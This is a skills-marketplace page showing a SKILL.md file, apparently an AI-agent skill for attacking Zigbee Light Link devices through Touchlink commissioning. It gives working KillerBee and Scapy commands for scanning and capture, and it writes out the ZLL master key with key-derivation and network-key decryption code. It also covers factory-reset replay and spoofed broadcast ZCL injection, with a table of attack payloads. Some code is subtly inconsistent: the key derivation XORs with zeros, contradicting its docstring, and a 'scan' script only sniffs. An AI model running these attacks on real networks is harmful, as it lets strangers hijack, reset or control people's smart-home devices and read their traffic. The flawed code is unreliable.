Skip to main content

zigbee-touchlink

Touchlink commissioning abuse on Zigbee Light Link (ZLL) devices using the well-known ZLL transport key, ZCL command injection (toggle/move/step), network key extraction, and factory reset via touchlink. Toolchain covers KillerBee, zbstumbler, zbreplay, and Sonoff Zigbee 3.0 Dongle E running Wireshark live capture.

来源信息

仓库
BitterSecurity/Decepticon
最近来源活动
2026年5月30日 11:58
检测到的 SKILL.md 语言
英语
星标
5,666
分支
1,067

安装方式

默认使用会先检查来源的 Prompt;你也可以切换为直接命令,或下载本地副本。

检查来源文件

决定是否安装前,请先阅读 SKILL.md,以及 SkillsMP 当前展示的配套文件。

正在显示 SKILL.md

SKILL.md
来源说明 · 只读预览
name
zigbee-touchlink
description
Touchlink commissioning abuse on Zigbee Light Link (ZLL) devices using the well-known ZLL transport key, ZCL command injection (toggle/move/step), network key extraction, and factory reset via touchlink. Toolchain covers KillerBee, zbstumbler, zbreplay, and Sonoff Zigbee 3.0 Dongle E running Wireshark live capture.
allowed-tools
Bash Read Write
metadata
{"subdomain":"iot","when_to_use":"Zigbee, Touchlink, ZLL, ZCL, KillerBee, zbstumbler, zbreplay, Sonoff Zigbee dongle, IEEE 802.15.4, Zigbee network key, commissioning, factory reset, smart bulb, Philips Hue, IKEA Tradfri","tags":"zigbee, touchlink, zll, zcl, killerbee, iot, embedded, 802154","mitre_attack":"T1040, T1190, T1499.004, T1078.001"}
# Zigbee Touchlink Commissioning Abuse > Zigbee Light Link (ZLL) defines a Touchlink commissioning mechanism > intended for close-proximity pairing (≤20 cm). The procedure relies on > a well-known, publicly documented transport key (ZLL Master Key published > in the ZigBee Light Link spec). In practice it works at distances of > several metres with a directional antenna, allowing an attacker to steal > devices off an existing coordinator, factory-reset smart bulbs, or inject > ZCL commands without joining the network. ## Prerequisites - **Hardware**: Sonoff Zigbee 3.0 Dongle-E (CC2652P) with Z-Stack coordinator or sniffer firmware, OR RZUSB (AT86RF233), OR ApiMote v4 (CC2531 based). For highest sensitivity: HackRF + Zigbee SDR (gr-ieee802-15-4) — passive only. - **Firmware options**: - Sniffer: flash `CC2531_sniffer.hex` / `cc2652_sniffer.hex` (TI) — Wireshark source, passive. - Attack: flash `coordinator_20230507.hex` from Z-Stack 3.x — gives full TX. - **Software**: KillerBee suite, Scapy with `scapy-radio`, Python 3.x. ```bash # Install KillerBee (Debian/Kali): git clone https://github.com/riverloopsec/killerbee cd killerbee && pip install . # Confirm dongle detected: zbid ``` ## Phase 1: Passive Channel Scan (zbstumbler) ```bash # Scan all 802.15.4 channels (11-26) and enumerate PAN IDs, coordinators, devices. zbstumbler -i /dev/ttyUSB0 | tee /tmp/zigbee_stumble.txt # Capture all traffic on a discovered channel (e.g., channel 15) to pcap: zbdump -i /dev/ttyUSB0 -c 15 -w /tmp/zigbee_ch15.pcap # Live in Wireshark with the ZEP plugin: wireshark -k -i lo # after running zbwireshark -i /dev/ttyUSB0 -c 15 ``` Key fields to identify in pcap: - **Frame Control** = `0x8841` (Data, ZigBee, PAN compress) - **Cluster ID** = `0x1000` (ZLL Commissioning cluster) - **Command ID** = `0x00` (Scan Request), `0x01` (Scan Response), `0x07` (Touchlink Reset) ## Phase 2: Decode the ZLL Well-Known Transport Key The ZLL Master Key (published in Zigbee spec 11-0037-10) is: ``` ZLL Master Key: 9F 55 95 F1 02 57 C8 A9 65 73 AB 53 EE 2D 4C 0D ``` Derive per-device transport key: ```python from Crypto.Cipher import AES ZLL_MASTER_KEY = bytes.fromhex("9F5595F10257C8A96573AB53EE2D4C0D") def derive_transport_key(transaction_id: bytes, response_id: bytes) -> bytes: """ ZLL key derivation: AES-ECB of (transactionId XOR responseId XOR mask) with master key. Per ZigBee Lighting Profile spec section 8.7. """ data = bytes(a ^ b for a, b in zip(transaction_id + response_id, b'\x00' * 8 + b'\x00' * 8)) cipher = AES.new(ZLL_MASTER_KEY, AES.MODE_ECB) return cipher.encrypt(data) # transaction_id and response_id come from the Scan Request / Scan Response frames. ``` ## Phase 3: Touchlink Scan + Factory Reset KillerBee includes `zbtouchlink` (or use the custom script below): ```bash # Send Touchlink Scan Requests on all channels and listen for responses. # A device that responds is susceptible to touchlink commands. python3 - <<'EOF' import time from killerbee import KillerBee, PcapDumper # Zigbee channel to target (scan 11-26 in production): CHANNEL = 15 IFACE = "/dev/ttyUSB0" kb = KillerBee(device=IFACE) kb.set_channel(CHANNEL) kb.sniffer_on() print(f"[*] Listening on channel {CHANNEL}...") while True: frame = kb.pnext() if frame and frame[0]: data = frame[0] # Check for ZLL Scan Response (Cluster 0x1000, Cmd 0x01) if len(data) > 20: print(f"[+] Frame: {data.hex()}") EOF ``` Factory reset via `zbreplay` / custom ZLL Reset-to-factory-new: ```bash # zbreplay replays a captured factory-reset frame at a target device. # Capture a legitimate Touchlink reset first, then replay. zbreplay -i /dev/ttyUSB0 -c 15 -f /tmp/touchlink_reset.pcap # Or use zbfind to locate the device before resetting: zbfind -i /dev/ttyUSB0 -c 15 ``` ## Phase 4: ZCL Command Injection (no network join required) ZCL commands to the Scenes/On-Off cluster can be sent as broadcast or unicast with the source address spoofed. No association to the PAN is required for broadcast delivery on 802.15.4. ```python from scapy.all import Dot15d4, Dot15d4Data, ZigbeeNWK, ZigbeeSecurityHeader, ZigbeeAppDataPayload # scapy-zigbee or scapy-radio needed for ZigBee layers # Toggle all On/Off devices in PAN (broadcast NWK dst 0xFFFF): pkt = ( Dot15d4(fcf_frametype=1, fcf_srcaddrmode=2, fcf_destaddrmode=2, dest_panid=0xDEAD, dest_addr=0xFFFF, src_addr=0x1234) / ZigbeeNWK(frametype=0, proto_ver=2, discover_route=0, destination=0xFFFF, source=0x1234, radius=1) / ZigbeeAppDataPayload(frametype=1, cluster=0x0006, profile=0x0104, dst_endpoint=0xFF, src_endpoint=0x01) / bytes([0x01, 0x00, 0x02]) # ZCL: frame ctrl, seq, cmd=Toggle ) # send via scapy raw socket on the 802.15.4 interface ``` Known ZCL attack payloads: | Cluster | Command | Effect | |---|---|---| | 0x0006 On/Off | 0x02 Toggle | Flip all lights | | 0x0008 Level Control | 0x00 Move to Level | Set brightness 0 (lights off) | | 0x0003 Identify | 0x00 Identify | Blink device — confirms target | | 0x0300 Color Control | 0x07 Move to Color Temp | Alter scene | ## Phase 5: Network Key Extraction via Touchlink If a Touchlink inter-PAN key transport message is captured, the encrypted NWK key can be decrypted using the derived transport key: ```python from Crypto.Cipher import AES def decrypt_nwk_key(encrypted_key: bytes, transport_key: bytes) -> bytes: cipher = AES.new(transport_key, AES.MODE_ECB) # ZLL key transport uses AES-ECB on the 16-byte encrypted key material. return cipher.decrypt(encrypted_key) ``` With the plaintext NWK key, decrypt all subsequent traffic in Wireshark: - Edit → Preferences → Protocols → ZigBee → Add decryption key. ## Evidence ```bash EVIDENCE="/workspace/evidence/zigbee-touchlink/$(date +%Y%m%d_%H%M%S)" mkdir -p "$EVIDENCE" cp /tmp/zigbee_ch15.pcap "$EVIDENCE/" cp /tmp/zigbee_stumble.txt "$EVIDENCE/" sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt" ``` ```python kg_add_node( kind="finding", label=f"Zigbee Touchlink abuse on PAN {pan_id:#06x}", props={ "key": f"zigbee-touchlink::{pan_id}", "pan_id": pan_id, "channel": channel, "nwk_key_hex": nwk_key.hex() if nwk_key else None, "touchlink_reset_success": True, "source": "killerbee+scapy", }, ) ``` ## OPSEC Notes - Factory-reset is destructive and visible — the device drops off the coordinator immediately. Only perform when explicitly authorized. - ZCL broadcast toggle is detectable by the coordinator as spurious traffic from an unregistered source address. - Passive sniffing (zbdump) has zero RF footprint beyond receive. - Touchlink operates in inter-PAN mode: you do NOT need to join the target's PAN to send or receive ZLL commissioning frames. - Channel 25 (2.475 GHz) is the Zigbee primary ZLL channel; channel 11 (2.405 GHz) is common for home automation. Always scan 11-26. ## References - KillerBee: https://github.com/riverloopsec/killerbee - Zigbee Light Link spec (ZLL transport key): ZigBee document 11-0037-10. - Ronen et al. "IoT Goes Nuclear" (2016) — Hue worm via Touchlink at 100m range. - Sonoff Zigbee 3.0 Dongle-E firmware: https://github.com/Koenkk/Z-Stack-firmware
在 GitHub 查看